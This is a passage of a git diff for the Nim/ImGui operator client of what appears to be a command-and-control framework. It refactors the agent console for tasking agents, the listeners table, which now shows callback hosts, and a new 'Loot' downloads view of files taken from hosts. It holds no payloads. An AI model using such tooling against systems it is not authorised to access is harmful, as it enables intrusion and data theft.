||||||
))
|
|
||||||
|
|
||||||
#[
|
#[
|
||||||
Handling console commands
|
Handling console commands
|
||||||
]#
|
]#
|
||||||
proc displayHelp(component: ConsoleComponent) =
|
proc displayHelp(component: ConsoleComponent) =
|
||||||
for module in getModules(component.agent.modules):
|
for cmd in getCommands(component.agent.modules):
|
||||||
for cmd in module.commands:
|
component.console.addItem(LOG_OUTPUT, " * " & cmd.name.alignLeft(25) & cmd.description)
|
||||||
component.addItem(LOG_OUTPUT, fmt" * {cmd.name:<15}{cmd.description}")
|
|
||||||
|
|
||||||
proc displayCommandHelp(component: ConsoleComponent, command: Command) =
|
proc displayCommandHelp(component: ConsoleComponent, command: Command) =
|
||||||
var usage = command.name & " " & command.arguments.mapIt(
|
var usage = command.name & " " & command.arguments.mapIt(
|
||||||
if it.isRequired: fmt"<{it.name}>" else: fmt"[{it.name}]"
|
if it.isRequired: "<" & it.name & ">" else: "[" & it.name & "]"
|
||||||
).join(" ")
|
).join(" ")
|
||||||
|
|
||||||
if command.example != "":
|
component.console.addItem(LOG_OUTPUT, command.description)
|
||||||
usage &= "\nExample : " & command.example
|
component.console.addItem(LOG_OUTPUT, "Usage : " & usage)
|
||||||
|
component.console.addItem(LOG_OUTPUT, "Example : " & command.example)
|
||||||
component.addItem(LOG_OUTPUT, fmt"""
|
component.console.addItem(LOG_OUTPUT, "")
|
||||||
{command.description}
|
|
||||||
|
|
||||||
Usage : {usage}
|
|
||||||
""")
|
|
||||||
|
|
||||||
if command.arguments.len > 0:
|
if command.arguments.len > 0:
|
||||||
component.addItem(LOG_OUTPUT, "Arguments:\n")
|
component.console.addItem(LOG_OUTPUT, "Arguments:")
|
||||||
|
|
||||||
let header = @["Name", "Type", "Required", "Description"]
|
|
||||||
component.addItem(LOG_OUTPUT, fmt" {header[0]:<15} {header[1]:<6} {header[2]:<8} {header[3]}")
|
|
||||||
component.addItem(LOG_OUTPUT, fmt" {'-'.repeat(15)} {'-'.repeat(6)} {'-'.repeat(8)} {'-'.repeat(20)}")
|
|
||||||
|
|
||||||
for arg in command.arguments:
|
let header = @["Name", "Type", "Required", "Description"]
|
||||||
|
component.console.addItem(LOG_OUTPUT, " " & header[0].alignLeft(15) & " " & header[1].alignLeft(6) & " " & header[2].alignLeft(8) & " " & header[3])
|
||||||
|
component.console.addItem(LOG_OUTPUT, " " & '-'.repeat(15) & " " & '-'.repeat(6) & " " & '-'.repeat(8) & " " & '-'.repeat(20))
|
||||||
|
|
||||||
|
for arg in command.arguments:
|
||||||
let isRequired = if arg.isRequired: "YES" else: "NO"
|
let isRequired = if arg.isRequired: "YES" else: "NO"
|
||||||
component.addItem(LOG_OUTPUT, fmt" * {arg.name:<15} {($arg.argumentType).toUpperAscii():<6} {isRequired:>8} {arg.description}")
|
component.console.addItem(LOG_OUTPUT, " * " & arg.name.alignLeft(15) & " " & ($arg.argumentType).toUpperAscii().alignLeft(6) & " " & isRequired.align(8) & " " & arg.description)
|
||||||
component.addItem(LOG_OUTPUT, "")
|
|
||||||
|
|
||||||
proc handleHelp(component: ConsoleComponent, parsed: seq[string]) =
|
proc handleHelp(component: ConsoleComponent, parsed: seq[string]) =
|
||||||
try:
|
try:
|
||||||
# Try parsing the first argument passed to 'help' as a command
|
# Try parsing the first argument passed to 'help' as a command
|
||||||
component.displayCommandHelp(getCommandByName(parsed[1]))
|
component.displayCommandHelp(getCommandByName(parsed[1]))
|
||||||
except IndexDefect:
|
except IndexDefect:
|
||||||
# 'help' command is called without additional parameters
|
# 'help' command is called without additional parameters
|
||||||
component.displayHelp()
|
component.displayHelp()
|
||||||
except ValueError:
|
except ValueError:
|
||||||
# Command was not found
|
# Command was not found
|
||||||
component.addItem(LOG_ERROR, fmt"The command '{parsed[1]}' does not exist.")
|
component.console.addItem(LOG_ERROR, "The command '" & parsed[1] & "' does not exist.")
|
||||||
|
|
||||||
proc handleAgentCommand*(component: ConsoleComponent, connection: WsConnection, input: string) =
|
# Add newline at the end of help text
|
||||||
|
component.console.addItem(LOG_OUTPUT, "")
|
||||||
|
|
||||||
|
proc handleAgentCommand*(component: ConsoleComponent, connection: WsConnection, input: string) =
|
||||||
|
# Add command to console
|
||||||
|
component.console.addItem(LOG_COMMAND, input)
|
||||||
|
|
||||||
# Convert user input into sequence of string arguments
|
# Convert user input into sequence of string arguments
|
||||||
let parsedArgs = parseInput(input)
|
let parsedArgs = parseInput(input)
|
||||||
|
|
||||||
# Handle 'help' command
|
# Handle 'help' command
|
||||||
if parsedArgs[0] == "help":
|
if parsedArgs[0] == "help":
|
||||||
component.handleHelp(parsedArgs)
|
component.handleHelp(parsedArgs)
|
||||||
return
|
return
|
||||||
|
|
||||||
# Handle commands with actions on the agent
|
# Handle commands with actions on the agent
|
||||||
try:
|
try:
|
||||||
let
|
let
|
||||||
command = getCommandByName(parsedArgs[0])
|
command = getCommandByName(parsedArgs[0])
|
||||||
task = createTask(component.agent.agentId, component.agent.listenerId, command, parsedArgs[1..^1])
|
task = createTask(component.agent.agentId, component.agent.listenerId, command, parsedArgs[1..^1])
|
||||||
|
|
||||||
connection.sendAgentTask(component.agent.agentId, task)
|
connection.sendAgentTask(component.agent.agentId, input, task)
|
||||||
component.addItem(LOG_INFO, fmt"Tasked agent to {command.description.toLowerAscii()} ({Uuid.toString(task.taskId)})")
|
component.console.addItem(LOG_INFO, "Tasked agent to " & command.description.toLowerAscii() & " (" & Uuid.toString(task.taskId) & ")")
|
||||||
|
|
||||||
except CatchableError:
|
except CatchableError:
|
||||||
component.addItem(LOG_ERROR, getCurrentExceptionMsg())
|
component.console.addItem(LOG_ERROR, getCurrentExceptionMsg())
|
||||||
|
|
||||||
#[
|
|
||||||
Drawing
|
|
||||||
]#
|
|
||||||
proc print(item: ConsoleItem) =
|
|
||||||
|
|
||||||
if item.timestamp > 0:
|
|
||||||
let timestamp = item.timestamp.fromUnix().format("dd-MM-yyyy HH:mm:ss")
|
|
||||||
igTextColored(vec4(0.6f, 0.6f, 0.6f, 1.0f), fmt"[{timestamp}]".cstring)
|
|
||||||
igSameLine(0.0f, 0.0f)
|
|
||||||
|
|
||||||
case item.itemType:
|
|
||||||
of LOG_INFO, LOG_INFO_SHORT:
|
|
||||||
igTextColored(CONSOLE_INFO, $item.itemType)
|
|
||||||
of LOG_ERROR, LOG_ERROR_SHORT:
|
|
||||||
igTextColored(CONSOLE_ERROR, $item.itemType)
|
|
||||||
of LOG_SUCCESS, LOG_SUCCESS_SHORT:
|
|
||||||
igTextColored(CONSOLE_SUCCESS, $item.itemType)
|
|
||||||
of LOG_WARNING, LOG_WARNING_SHORT:
|
|
||||||
igTextColored(CONSOLE_WARNING, $item.itemType)
|
|
||||||
of LOG_COMMAND:
|
|
||||||
igTextColored(CONSOLE_COMMAND, $item.itemType)
|
|
||||||
of LOG_OUTPUT:
|
|
||||||
igTextColored(vec4(0.0f, 0.0f, 0.0f, 0.0f), $item.itemType)
|
|
||||||
|
|
||||||
igSameLine(0.0f, 0.0f)
|
|
||||||
igTextUnformatted(item.text.cstring, nil)
|
|
||||||
|
|
||||||
proc draw*(component: ConsoleComponent, connection: WsConnection) =
|
proc draw*(component: ConsoleComponent, connection: WsConnection) =
|
||||||
igBegin(fmt"[{component.agent.agentId}] {component.agent.username}@{component.agent.hostname}".cstring, addr component.showConsole, 0)
|
igBegin(fmt"[{component.agent.agentId}] {component.agent.username}@{component.agent.hostname}".cstring, addr component.showConsole, 0)
|
||||||
@@ -237,9 +223,7 @@ proc draw*(component: ConsoleComponent, connection: WsConnection) =
|
|||||||
|
|
||||||
Problems I encountered with other approaches (Multi-line Text Input, TextEditor, ...):
|
Problems I encountered with other approaches (Multi-line Text Input, TextEditor, ...):
|
||||||
- https://github.com/ocornut/imgui/issues/383#issuecomment-2080346129
|
- https://github.com/ocornut/imgui/issues/383#issuecomment-2080346129
|
||||||
- https://github.com/ocornut/imgui/issues/950
|
- https://github.com/ocornut/imgui/issues/950
|
||||||
|
|
||||||
Huge thanks to @dinau for implementing ImGuiTextSelect into imguin very rapidly after I requested it.
|
|
||||||
]#
|
]#
|
||||||
let consolePadding: float = 10.0f
|
let consolePadding: float = 10.0f
|
||||||
let footerHeight = (consolePadding * 2) + (igGetStyle().ItemSpacing.y + igGetFrameHeightWithSpacing()) * 0.75f
|
let footerHeight = (consolePadding * 2) + (igGetStyle().ItemSpacing.y + igGetFrameHeightWithSpacing()) * 0.75f
|
||||||
@@ -283,40 +267,10 @@ proc draw*(component: ConsoleComponent, connection: WsConnection) =
|
|||||||
igSameLine(0.0f, textSpacing)
|
igSameLine(0.0f, textSpacing)
|
||||||
component.filter.ImGuiTextFilter_Draw("##ConsoleSearch", searchBoxWidth)
|
component.filter.ImGuiTextFilter_Draw("##ConsoleSearch", searchBoxWidth)
|
||||||
|
|
||||||
try:
|
#[
|
||||||
# Set styles of the console window
|
Console textarea
|
||||||
igPushStyleColor_Vec4(ImGui_Col_FrameBg.int32, vec4(0.1f, 0.1f, 0.1f, 1.0f))
|
]#
|
||||||
igPushStyleColor_Vec4(ImGui_Col_ScrollbarBg.int32, vec4(0.1f, 0.1f, 0.1f, 1.0f))
|
component.console.draw(vec2(-1.0f, -footerHeight), component.filter)
|
||||||
igPushStyleColor_Vec4(ImGui_Col_Border.int32, vec4(0.2f, 0.2f, 0.2f, 1.0f))
|
|
||||||
igPushStyleVar_Float(ImGui_StyleVar_FrameBorderSize .int32, 1.0f)
|
|
||||||
|
|
||||||
let childWindowFlags = ImGuiChildFlags_NavFlattened.int32 or ImGui_ChildFlags_Borders.int32 or ImGui_ChildFlags_AlwaysUseWindowPadding.int32 or ImGuiChildFlags_FrameStyle.int32
|
|
||||||
if igBeginChild_Str("##Console", vec2(-1.0f, -footerHeight), childWindowFlags, ImGuiWindowFlags_HorizontalScrollbar.int32):
|
|
||||||
|
|
||||||
# Display console items
|
|
||||||
for item in component.console.items:
|
|
||||||
|
|
||||||
# Apply filter
|
|
||||||
if component.filter.ImGuiTextFilter_IsActive():
|
|
||||||
if not component.filter.ImGuiTextFilter_PassFilter(item.getText(), nil):
|
|
||||||
continue
|
|
||||||
|
|
||||||
item.print()
|
|
||||||
|
|
||||||
component.textSelect.textselect_update()
|
|
||||||
|
|
||||||
# Auto-scroll to bottom
|
|
||||||
if igGetScrollY() >= igGetScrollMaxY():
|
|
||||||
igSetScrollHereY(1.0f)
|
|
||||||
|
|
||||||
except IndexDefect:
|
|
||||||
# CTRL+A crashes when no items are in the console
|
|
||||||
discard
|
|
||||||
|
|
||||||
finally:
|
|
||||||
igPopStyleColor(3)
|
|
||||||
igPopStyleVar(1)
|
|
||||||
igEndChild()
|
|
||||||
|
|
||||||
# Padding
|
# Padding
|
||||||
igDummy(vec2(0.0f, consolePadding))
|
igDummy(vec2(0.0f, consolePadding))
|
||||||
@@ -324,7 +278,7 @@ proc draw*(component: ConsoleComponent, connection: WsConnection) =
|
|||||||
#[
|
#[
|
||||||
Input field with prompt indicator
|
Input field with prompt indicator
|
||||||
]#
|
]#
|
||||||
igText(fmt"[{component.agent.agentId}]")
|
igText(fmt"[{component.agent.agentId}]".cstring)
|
||||||
igSameLine(0.0f, textSpacing)
|
igSameLine(0.0f, textSpacing)
|
||||||
|
|
||||||
# Calculate available width for input
|
# Calculate available width for input
|
||||||
@@ -332,13 +286,10 @@ proc draw*(component: ConsoleComponent, connection: WsConnection) =
|
|||||||
igSetNextItemWidth(availableSize.x)
|
igSetNextItemWidth(availableSize.x)
|
||||||
|
|
||||||
let inputFlags = ImGuiInputTextFlags_EnterReturnsTrue.int32 or ImGuiInputTextFlags_EscapeClearsAll.int32 or ImGuiInputTextFlags_CallbackHistory.int32 or ImGuiInputTextFlags_CallbackCompletion.int32
|
let inputFlags = ImGuiInputTextFlags_EnterReturnsTrue.int32 or ImGuiInputTextFlags_EscapeClearsAll.int32 or ImGuiInputTextFlags_CallbackHistory.int32 or ImGuiInputTextFlags_CallbackCompletion.int32
|
||||||
if igInputText("##Input", addr component.inputBuffer[0], MAX_INPUT_LENGTH, inputFlags, callback, cast[pointer](component)):
|
if igInputText("##Input", cast[cstring](addr component.inputBuffer[0]), MAX_INPUT_LENGTH, inputFlags, callback, cast[pointer](component)):
|
||||||
|
|
||||||
let command = ($(addr component.inputBuffer[0])).strip()
|
let command = ($cast[cstring]((addr component.inputBuffer[0]))).strip()
|
||||||
if not command.isEmptyOrWhitespace():
|
if not command.isEmptyOrWhitespace():
|
||||||
|
|
||||||
component.addItem(LOG_COMMAND, command)
|
|
||||||
|
|
||||||
# Send command to team server
|
# Send command to team server
|
||||||
component.handleAgentCommand(connection, command)
|
component.handleAgentCommand(connection, command)
|
||||||
|
|
||||||
|
|||||||
@@ -1,6 +1,6 @@
|
|||||||
import tables
|
import tables, strutils
|
||||||
import imguin/[cimgui, glfw_opengl, simple]
|
import imguin/[cimgui, glfw_opengl, simple]
|
||||||
import ../utils/appImGui
|
import ../utils/[appImGui, globals]
|
||||||
|
|
||||||
type
|
type
|
||||||
DockspaceComponent* = ref object of RootObj
|
DockspaceComponent* = ref object of RootObj
|
||||||
@@ -53,9 +53,11 @@ proc draw*(component: DockspaceComponent, showComponent: ptr bool, views: Table[
|
|||||||
discard igDockBuilderSplitNode(dockspaceId, ImGuiDir_Down, 5.0f, dockBottom, dockTop)
|
discard igDockBuilderSplitNode(dockspaceId, ImGuiDir_Down, 5.0f, dockBottom, dockTop)
|
||||||
discard igDockBuilderSplitNode(dockTop[], ImGuiDir_Right, 0.5f, dockTopRight, dockTopLeft)
|
discard igDockBuilderSplitNode(dockTop[], ImGuiDir_Right, 0.5f, dockTopRight, dockTopLeft)
|
||||||
|
|
||||||
igDockBuilderDockWindow("Sessions [Table View]", dockTopLeft[])
|
igDockBuilderDockWindow(WIDGET_SESSIONS, dockTopLeft[])
|
||||||
igDockBuilderDockWindow("Listeners", dockBottom[])
|
igDockBuilderDockWindow(WIDGET_LISTENERS, dockBottom[])
|
||||||
igDockBuilderDockWindow("Eventlog", dockTopRight[])
|
igDockBuilderDockWindow(WIDGET_EVENTLOG, dockTopRight[])
|
||||||
|
igDockBuilderDockWindow(WIDGET_DOWNLOADS, dockBottom[])
|
||||||
|
igDockBuilderDockWindow(WIDGET_SCREENSHOTS, dockBottom[])
|
||||||
igDockBuilderDockWindow("Dear ImGui Demo", dockTopRight[])
|
igDockBuilderDockWindow("Dear ImGui Demo", dockTopRight[])
|
||||||
|
|
||||||
igDockBuilderFinish(dockspaceId)
|
igDockBuilderFinish(dockspaceId)
|
||||||
@@ -74,8 +76,18 @@ proc draw*(component: DockspaceComponent, showComponent: ptr bool, views: Table[
|
|||||||
if igBeginMenu("Views", true):
|
if igBeginMenu("Views", true):
|
||||||
# Create a menu item to toggle each of the main views of the application
|
# Create a menu item to toggle each of the main views of the application
|
||||||
for view, showView in views:
|
for view, showView in views:
|
||||||
if igMenuItem(view, nil, showView[], showView != nil):
|
if not view.startsWith("Loot:"):
|
||||||
showView[] = not showView[]
|
if igMenuItem(view.cstring, nil, showView[], showView != nil):
|
||||||
|
showView[] = not showView[]
|
||||||
|
|
||||||
|
if igBeginMenu("Loot", true):
|
||||||
|
for view, showView in views:
|
||||||
|
if view.startsWith("Loot:"):
|
||||||
|
let itemName = view.split(":")[1]
|
||||||
|
if igMenuItem(itemName.cstring, nil, showView[], showView != nil):
|
||||||
|
showView[] = not showView[]
|
||||||
|
igEndMenu()
|
||||||
|
|
||||||
igEndMenu()
|
igEndMenu()
|
||||||
|
|
||||||
igEndMenuBar()
|
igEndMenuBar()
|
||||||
@@ -1,117 +1,20 @@
|
|||||||
import strformat, strutils, times
|
import imguin/[cimgui, glfw_opengl]
|
||||||
import imguin/[cimgui, glfw_opengl, simple]
|
import ./widgets/textarea
|
||||||
import ../utils/[appImGui, colors]
|
import ../utils/appImGui
|
||||||
import ../../common/types
|
export addItem
|
||||||
|
|
||||||
type
|
type
|
||||||
EventlogComponent* = ref object of RootObj
|
EventlogComponent* = ref object of RootObj
|
||||||
title: string
|
title: string
|
||||||
log*: ConsoleItems
|
textarea*: TextareaWidget
|
||||||
textSelect: ptr TextSelect
|
|
||||||
showTimestamps: bool
|
|
||||||
|
|
||||||
proc getText(item: ConsoleItem): cstring =
|
|
||||||
if item.timestamp > 0:
|
|
||||||
let timestamp = item.timestamp.fromUnix().format("dd-MM-yyyy HH:mm:ss")
|
|
||||||
return fmt"[{timestamp}]{$item.itemType}{item.text}".string
|
|
||||||
else:
|
|
||||||
return fmt"{$item.itemType}{item.text}".string
|
|
||||||
|
|
||||||
proc getNumLines(data: pointer): csize_t {.cdecl.} =
|
|
||||||
if data.isNil:
|
|
||||||
return 0
|
|
||||||
let log = cast[ConsoleItems](data)
|
|
||||||
return log.items.len().csize_t
|
|
||||||
|
|
||||||
proc getLineAtIndex(i: csize_t, data: pointer, outLen: ptr csize_t): cstring {.cdecl.} =
|
|
||||||
if data.isNil:
|
|
||||||
return nil
|
|
||||||
let log = cast[ConsoleItems](data)
|
|
||||||
let line = log.items[i].getText()
|
|
||||||
if not outLen.isNil:
|
|
||||||
outLen[] = line.len.csize_t
|
|
||||||
return line
|
|
||||||
|
|
||||||
proc Eventlog*(title: string): EventlogComponent =
|
proc Eventlog*(title: string): EventlogComponent =
|
||||||
result = new EventlogComponent
|
result = new EventlogComponent
|
||||||
result.title = title
|
result.title = title
|
||||||
result.log = new ConsoleItems
|
result.textarea = Textarea(showTimestamps = false)
|
||||||
result.log.items = @[]
|
|
||||||
result.textSelect = textselect_create(getLineAtIndex, getNumLines, cast[pointer](result.log), 0)
|
|
||||||
result.showTimestamps = false
|
|
||||||
|
|
||||||
#[
|
|
||||||
API to add new log entry
|
|
||||||
]#
|
|
||||||
proc addItem*(component: EventlogComponent, itemType: LogType, data: string, timestamp: int64 = now().toTime().toUnix()) =
|
|
||||||
|
|
||||||
for line in data.split("\n"):
|
|
||||||
component.log.items.add(ConsoleItem(
|
|
||||||
timestamp: timestamp,
|
|
||||||
itemType: itemType,
|
|
||||||
text: line
|
|
||||||
))
|
|
||||||
|
|
||||||
#[
|
|
||||||
Drawing
|
|
||||||
]#
|
|
||||||
proc print(component: EventlogComponent, item: ConsoleItem) =
|
|
||||||
if (item.itemType != LOG_OUTPUT) and component.showTimestamps:
|
|
||||||
let timestamp = item.timestamp.fromUnix().format("dd-MM-yyyy HH:mm:ss")
|
|
||||||
igTextColored(vec4(0.6f, 0.6f, 0.6f, 1.0f), fmt"[{timestamp}]".cstring)
|
|
||||||
igSameLine(0.0f, 0.0f)
|
|
||||||
|
|
||||||
case item.itemType:
|
|
||||||
of LOG_INFO, LOG_INFO_SHORT:
|
|
||||||
igTextColored(CONSOLE_INFO, $item.itemType)
|
|
||||||
of LOG_ERROR, LOG_ERROR_SHORT:
|
|
||||||
igTextColored(CONSOLE_ERROR, $item.itemType)
|
|
||||||
of LOG_SUCCESS, LOG_SUCCESS_SHORT:
|
|
||||||
igTextColored(CONSOLE_SUCCESS, $item.itemType)
|
|
||||||
of LOG_WARNING, LOG_WARNING_SHORT:
|
|
||||||
igTextColored(CONSOLE_WARNING, $item.itemType)
|
|
||||||
of LOG_COMMAND:
|
|
||||||
igTextColored(CONSOLE_COMMAND, $item.itemType)
|
|
||||||
of LOG_OUTPUT:
|
|
||||||
igTextColored(vec4(0.0f, 0.0f, 0.0f, 0.0f), $item.itemType)
|
|
||||||
|
|
||||||
igSameLine(0.0f, 0.0f)
|
|
||||||
igTextUnformatted(item.text.cstring, nil)
|
|
||||||
|
|
||||||
proc draw*(component: EventlogComponent, showComponent: ptr bool) =
|
proc draw*(component: EventlogComponent, showComponent: ptr bool) =
|
||||||
igBegin(component.title, showComponent, 0)
|
igBegin(component.title.cstring, showComponent, 0)
|
||||||
defer: igEnd()
|
defer: igEnd()
|
||||||
|
|
||||||
try:
|
component.textarea.draw(vec2(-1.0f, -1.0f))
|
||||||
# Set styles of the eventlog window
|
|
||||||
igPushStyleColor_Vec4(ImGui_Col_FrameBg.int32, vec4(0.1f, 0.1f, 0.1f, 1.0f))
|
|
||||||
igPushStyleColor_Vec4(ImGui_Col_ScrollbarBg.int32, vec4(0.1f, 0.1f, 0.1f, 1.0f))
|
|
||||||
igPushStyleColor_Vec4(ImGui_Col_Border.int32, vec4(0.2f, 0.2f, 0.2f, 1.0f))
|
|
||||||
igPushStyleVar_Float(ImGui_StyleVar_FrameBorderSize .int32, 1.0f)
|
|
||||||
|
|
||||||
let childWindowFlags = ImGuiChildFlags_NavFlattened.int32 or ImGui_ChildFlags_Borders.int32 or ImGui_ChildFlags_AlwaysUseWindowPadding.int32 or ImGuiChildFlags_FrameStyle.int32
|
|
||||||
if igBeginChild_Str("##Log", vec2(-1.0f, -1.0f), childWindowFlags, ImGuiWindowFlags_HorizontalScrollbar.int32):
|
|
||||||
# Display eventlog items
|
|
||||||
for item in component.log.items:
|
|
||||||
component.print(item)
|
|
||||||
|
|
||||||
# Right click context menu to toggle timestamps in eventlog
|
|
||||||
if igBeginPopupContextWindow("EventlogSettings", ImGui_PopupFlags_MouseButtonRight.int32):
|
|
||||||
if igCheckbox("Show timestamps", addr component.showTimestamps):
|
|
||||||
igCloseCurrentPopup()
|
|
||||||
igEndPopup()
|
|
||||||
|
|
||||||
component.textSelect.textselect_update()
|
|
||||||
|
|
||||||
# Auto-scroll to bottom
|
|
||||||
if igGetScrollY() >= igGetScrollMaxY():
|
|
||||||
igSetScrollHereY(1.0f)
|
|
||||||
|
|
||||||
except IndexDefect:
|
|
||||||
# CTRL+A crashes when no items are in the eventlog
|
|
||||||
discard
|
|
||||||
|
|
||||||
finally:
|
|
||||||
igPopStyleColor(3)
|
|
||||||
igPopStyleVar(1)
|
|
||||||
igEndChild()
|
|
||||||
@@ -1,10 +1,9 @@
|
|||||||
import whisky
|
|
||||||
import strutils
|
import strutils
|
||||||
import imguin/[cimgui, glfw_opengl, simple]
|
import imguin/[cimgui, glfw_opengl, simple]
|
||||||
import ../utils/appImGui
|
|
||||||
import ../../common/[types, utils]
|
|
||||||
import ./modals/[startListener, generatePayload]
|
import ./modals/[startListener, generatePayload]
|
||||||
import ../websocket
|
import ../utils/appImGui
|
||||||
|
import ../core/websocket
|
||||||
|
import ../../common/types
|
||||||
|
|
||||||
type
|
type
|
||||||
ListenersTableComponent* = ref object of RootObj
|
ListenersTableComponent* = ref object of RootObj
|
||||||
@@ -23,7 +22,7 @@ proc ListenersTable*(title: string): ListenersTableComponent =
|
|||||||
result.generatePayloadModal = AgentModal()
|
result.generatePayloadModal = AgentModal()
|
||||||
|
|
||||||
proc draw*(component: ListenersTableComponent, showComponent: ptr bool, connection: WsConnection) =
|
proc draw*(component: ListenersTableComponent, showComponent: ptr bool, connection: WsConnection) =
|
||||||
igBegin(component.title, showComponent, 0)
|
igBegin(component.title.cstring, showComponent, 0)
|
||||||
defer: igEnd()
|
defer: igEnd()
|
||||||
|
|
||||||
let textSpacing = igGetStyle().ItemSpacing.x
|
let textSpacing = igGetStyle().ItemSpacing.x
|
||||||
@@ -64,12 +63,13 @@ proc draw*(component: ListenersTableComponent, showComponent: ptr bool, connecti
|
|||||||
ImGui_TableFlags_SizingStretchSame.int32
|
ImGui_TableFlags_SizingStretchSame.int32
|
||||||
)
|
)
|
||||||
|
|
||||||
let cols: int32 = 4
|
let cols: int32 = 5
|
||||||
if igBeginTable("Listeners", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f):
|
if igBeginTable("Listeners", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f):
|
||||||
|
|
||||||
igTableSetupColumn("ListenerID", ImGuiTableColumnFlags_NoReorder.int32 or ImGuiTableColumnFlags_NoHide.int32, 0.0f, 0)
|
igTableSetupColumn("ListenerID", ImGuiTableColumnFlags_NoReorder.int32 or ImGuiTableColumnFlags_NoHide.int32, 0.0f, 0)
|
||||||
igTableSetupColumn("Address", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
igTableSetupColumn("Address", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||||
igTableSetupColumn("Port", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
igTableSetupColumn("Port", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||||
|
igTableSetupColumn("Callback Hosts", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||||
igTableSetupColumn("Protocol", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
igTableSetupColumn("Protocol", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||||
|
|
||||||
igTableSetupScrollFreeze(0, 1)
|
igTableSetupScrollFreeze(0, 1)
|
||||||
@@ -86,14 +86,17 @@ proc draw*(component: ListenersTableComponent, showComponent: ptr bool, connecti
|
|||||||
# Enable multi-select functionality
|
# Enable multi-select functionality
|
||||||
igSetNextItemSelectionUserData(i)
|
igSetNextItemSelectionUserData(i)
|
||||||
var isSelected = ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](i))
|
var isSelected = ImGuiSelectionBasicStorage_Contains(component.selection, cast[ImGuiID](i))
|
||||||
discard igSelectable_Bool(listener.listenerId, isSelected, ImGuiSelectableFlags_SpanAllColumns.int32, vec2(0.0f, 0.0f))
|
discard igSelectable_Bool(listener.listenerId.cstring, isSelected, ImGuiSelectableFlags_SpanAllColumns.int32, vec2(0.0f, 0.0f))
|
||||||
|
|
||||||
if igTableSetColumnIndex(1):
|
if igTableSetColumnIndex(1):
|
||||||
igText(listener.address)
|
igText(listener.address.cstring)
|
||||||
if igTableSetColumnIndex(2):
|
if igTableSetColumnIndex(2):
|
||||||
igText($listener.port)
|
igText(($listener.port).cstring)
|
||||||
if igTableSetColumnIndex(3):
|
if igTableSetColumnIndex(3):
|
||||||
igText($listener.protocol)
|
for host in listener.hosts.split(";"):
|
||||||
|
igText(host.cstring)
|
||||||
|
if igTableSetColumnIndex(4):
|
||||||
|
igText(($listener.protocol).cstring)
|
||||||
|
|
||||||
# Handle right-click context menu
|
# Handle right-click context menu
|
||||||
# Right-clicking the table header to hide/show columns or reset the layout is only possible when no sessions are selected
|
# Right-clicking the table header to hide/show columns or reset the layout is only possible when no sessions are selected
|
||||||
|
|||||||
145
src/client/views/loot/downloads.nim
Normal file
@@ -0,0 +1,145 @@
|
|||||||
|
import strformat, strutils, times, os, tables, native_dialogs
|
||||||
|
import imguin/[cimgui, glfw_opengl, simple]
|
||||||
|
import ../../utils/appImGui
|
||||||
|
import ../../../common/types
|
||||||
|
import ../../core/websocket
|
||||||
|
import ../widgets/textarea
|
||||||
|
|
||||||
|
type
|
||||||
|
DownloadsComponent* = ref object of RootObj
|
||||||
|
title: string
|
||||||
|
items*: seq[LootItem]
|
||||||
|
contents*: Table[string, string]
|
||||||
|
textarea: TextareaWidget
|
||||||
|
selectedIndex: int
|
||||||
|
|
||||||
|
|
||||||
|
proc LootDownloads*(title: string): DownloadsComponent =
|
||||||
|
result = new DownloadsComponent
|
||||||
|
result.title = title
|
||||||
|
result.items = @[]
|
||||||
|
result.contents = initTable[string, string]()
|
||||||
|
result.selectedIndex = -1
|
||||||
|
result.textarea = Textarea(showTimestamps = false, autoScroll = false)
|
||||||
|
|
||||||
|
proc draw*(component: DownloadsComponent, showComponent: ptr bool, connection: WsConnection) =
|
||||||
|
igBegin(component.title.cstring, showComponent, 0)
|
||||||
|
defer: igEnd()
|
||||||
|
|
||||||
|
var availableSize: ImVec2
|
||||||
|
igGetContentRegionAvail(addr availableSize)
|
||||||
|
|
||||||
|
# Left panel (file table)
|
||||||
|
let childFlags = ImGui_ChildFlags_ResizeX.int32 or ImGui_ChildFlags_NavFlattened.int32
|
||||||
|
if igBeginChild_Str("##Left", vec2(availableSize.x * 0.66f, 0.0f), childFlags, ImGui_WindowFlags_None.int32):
|
||||||
|
|
||||||
|
let tableFlags = (
|
||||||
|
ImGui_TableFlags_Resizable.int32 or
|
||||||
|
ImGui_TableFlags_Reorderable.int32 or
|
||||||
|
ImGui_TableFlags_Hideable.int32 or
|
||||||
|
ImGui_TableFlags_HighlightHoveredColumn.int32 or
|
||||||
|
ImGui_TableFlags_RowBg.int32 or
|
||||||
|
ImGui_TableFlags_BordersV.int32 or
|
||||||
|
ImGui_TableFlags_BordersH.int32 or
|
||||||
|
ImGui_TableFlags_ScrollY.int32 or
|
||||||
|
ImGui_TableFlags_ScrollX.int32 or
|
||||||
|
ImGui_TableFlags_NoBordersInBodyUntilResize.int32 or
|
||||||
|
ImGui_TableFlags_SizingStretchSame.int32
|
||||||
|
)
|
||||||
|
|
||||||
|
let cols: int32 = 6
|
||||||
|
if igBeginTable("##Items", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f):
|
||||||
|
igTableSetupColumn("ID", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||||
|
igTableSetupColumn("AgentID", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0)
|
||||||
|
igTableSetupColumn("Host", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||||
|
igTableSetupColumn("Path", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||||
|
igTableSetupColumn("Creation Date", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||||
|
igTableSetupColumn("Size", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||||
|
igTableSetupScrollFreeze(0, 1)
|
||||||
|
igTableHeadersRow()
|
||||||
|
|
||||||
|
for i, item in component.items:
|
||||||
|
igTableNextRow(ImGuiTableRowFlags_None.int32, 0.0f)
|
||||||
|
|
||||||
|
if igTableSetColumnIndex(0):
|
||||||
|
igPushID_Int(i.int32)
|
||||||
|
let isSelected = component.selectedIndex == i
|
||||||
|
